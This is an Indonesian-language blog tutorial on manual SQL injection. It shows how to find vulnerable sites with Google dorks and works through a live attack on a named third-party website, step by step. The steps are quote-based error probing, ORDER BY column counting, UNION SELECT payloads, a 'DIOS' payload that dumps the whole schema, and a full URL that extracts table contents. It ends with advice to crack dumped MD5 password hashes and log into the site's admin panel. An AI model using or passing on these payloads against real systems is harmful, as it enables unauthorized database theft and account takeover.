Assalamualaikum wr wb
Kali ini Materi pertama tentang SQL Injection, kita mulai dengan basicnya terlebih dahulu yaitu SQL yang tidak ada bypass bypassan, jadi ini bisa dibilang easy, yaudah langsung ajalah ...
Topik Pembahasan :
1. Bagaimana cara menemukan celah SQLI
2. Bagaimana cara Menginjeksi SQL
3. Dump Database
Pengertian SQL Injection
Serangan SQL injection atau Injeksi SQLmerupakan teknik serangan injeksi kode yang memanfaatkan celah keamanan yang terjadi pada layer basis data dari sebuah aplikasi.Hal ini terjadi sebagai akibat dari data yang diinputkan oleh pengguna tidak dilakukan validasi dan dimuat di dalam baris perintah query SQL
Yaudah segitu aja pengertiannya cukup langsung ke inti permasalahan
- Bagaimana cara menemukan celah SQLI
cara menemukannya ada bnyk cara, contoh yang paling gampang ialah menggunakan dork apa itu dork ?nanti bakal dibahas di post selanjutnya contoh dork yang umum untuk menemukan celah SQL
inurl:php?id=
Pada situs web biasa nya ada file php?id=123 kebanyakan bug SQL ini terdapat disitu. cobalah copy dan paster dork tersebut di google maka akan muncul banyak situs web yang menampilkan file atau parameter seperti itu
paramater itu ?id=123
2. Bagaimana cara Menginjeksi SQL
Cara yang paling umum untuk mengetahui apakah website itu vuln SQL atau tidak adalah dengan cara memberikan tanda ' kutip di akhir parameter
Kita ambil contoh dengan menggunakan situs http://www.coda-continuum.com/product/product.php?id=4
taro tanda kutip di akhir parameter menjadi : coda-continuum.com/product/product.php?id=4'
Tanda ' (petik) atau %27 itu sama aja
maka akan menghasilkan tampilan atau tulisan
Database error Invalid SQL SELECT FROM products WHERE id 4 ORDER BY id ASC
MySQL
error 1064 You have an error in your SQL syntax check the manual that
corresponds to your MySQL server version for the right syntax to use
near ORDER BY id ASC at line 1
Jika muncul tulisan error seperti ini
maka dipastikan web tersebut Vuln SQL Lanjut ..
Sekarang tahap mencari kolom yaitu dengan query
'+order+by+1--+
harusnya ketika disisipkan order by 1 tampilan website harus kembali seperti semula
apabila masih error tatau masih terdapat tulisan MySQL error coba buang tanda petiknya
jadi querynya begini
+order+by+1--+
Karena tiap tiap website berbeda, jadi ada yang tanda petiknya harus dipake dan ada juga yang tidak.
Selanjutnya masi sama kita masih mencari kolom dengan order by tapi kita harus mencari angka dimana tampilan halaman website ini menjadi error kembali misal
+order+by+14--+ error
+order+by+13--+ normal
berikut tampilannya
Gambar diatas +order+by+14--+ error
Gambar diatas +order+by+13--+ normal
Nah maka di angka 14 error berarti kita ambil angka sebelum error yaitu angka 13
Lanjut
Sekarang tahap UNION dimana ORDER BY diganti, querynya seperti ini
+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13--+
Loh kok kenapa sampe 13 ? karena tadi pada tahap order by itu angka sebelum error ialah angka 13
nah maka unionnya berurutan dari 1 sampai 13
Setelah itu tambahkan tanda - strip disebelum parameter
maka Query lengkapnya seperti ini
coda-continuum.com/product/product.php?id=-4+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13--+
Nah setelah itu maka akan muncul angka pada halaman website tersebut
biasanya kita menyebutnya TOGEL berikut tampilannya
Lanjut
Angka togel yang muncul ialah angka 2 5 4
Kita ambil salah satu saja yaitu angka 2
Seletah itu gantikan angka 2 itu dengan dios yang ada dibawah ini
Jadi querynya +union+all+select+1,(DIOS TARO SINI),3,4,5,6,7,8,9,10,11,12,13--+
Jangan ketik dios tapi diganti sama dios yang ini :
(select(@x)from(select(@x:='Injected By Rev9'),(select(0)from(information_schema.columns)where(table_schema=database())and('-')in(@x:=concat+(@x,'<br>',table_name,'_',column_name))))x)
Tampilannya berbeda karena DIOSnya beda, mau DIOS kyk w ? nanti kita bahas di materi selanjutnya
Tampilan setelah dimasukkan dios maka akan seperti
Nah setelah ini kalian cari tuh table table dan kolom yang menunjukan seperti admin username password setelah itu kalian dupm
Karena di web ini gak ada table username password kita ambil contoh yang kolom
award_c:ID
award_c:Name
award_c:Banner
Maka Querynya adalah Concat(nama_table)
Dan setelah angka 13 +from+nama_kolom
Masih belum ngerti ?
Ni w kasih aja query lengkapnya biar lu pahamin sendiri ok
http://www.coda-continuum.com/product/product.php?id=-4+union+all+select+1,Concat(ID,0x3a,Name,0x3a,banner),3,4,5,6,7,8,9,10,11,12,13+from+award_c--+
0x3a itu adalah code hex yang hasilnya ialah titik dua
Jadi w pake titik dua buat misahin antara si ID Nama dan Banner nya biar keliatan gk berantakan aja
Berikut tampilan hasil dupm database di table itu
Hasil nya itu yang tulisan warna putih
1:Six:Moons:bluemoonaward.gif
Nah Kalo misal yang lu dump itu username dan password
biasanya passwordnya itu masi dalam ecrypt MD5 dll
Contoh Md5 83f8d50075542714f88814947278440c
lu decrypt dulu password MD5 itu diwebsite penyedia MD5 w biasa di
www.md5decrypt.net
www.hashes.com
Setelah lu udah decrypt dan dapet password yang sebenarnya
barulah lu cari halaman admin login dan masukanlah username dan password yang baru aja lu dump
Demikian dan Terima Kasih